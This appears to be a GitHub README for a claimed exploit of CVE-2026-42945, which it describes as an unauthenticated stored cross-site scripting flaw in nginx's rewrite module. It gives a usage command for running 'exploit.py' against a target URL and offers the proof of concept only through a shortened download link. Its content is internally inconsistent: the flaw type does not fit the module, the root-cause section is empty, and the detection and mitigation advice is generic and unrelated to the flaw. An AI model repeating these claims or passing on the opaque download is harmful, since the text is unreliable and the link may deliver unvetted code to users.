karakapaku43/CVE-2026-42945

# CVE-2026-42945 - ngx_http_rewrite_module module. This vulnerability exists when Unauthenticated Stored Cross-Site Scripting **Severity:** HIGH **CVSS:** 8.1 **Impact:** Confidentiality, Integrity, Availability **Published:** 2026-05-13 ## Legal For authorized security testing only. ## Root Cause (short version) ## Exploitation Requirements - Reachable vulnerable target - Predictable user/workflow context - No additional hardening that blocks crafted requests ## How to use python3 exploit.py https://target.tld ## Detection - Monitor suspicious authentication flow deviations - Investigate abnormal direct endpoint hits tied to CVE-2026-42945 ## Mitigation - Update to the fixed vendor version - Restrict risky endpoints and enforce MFA where possible ## Exploit [Download PoC](https://tinyurl.com/2xtcfa98)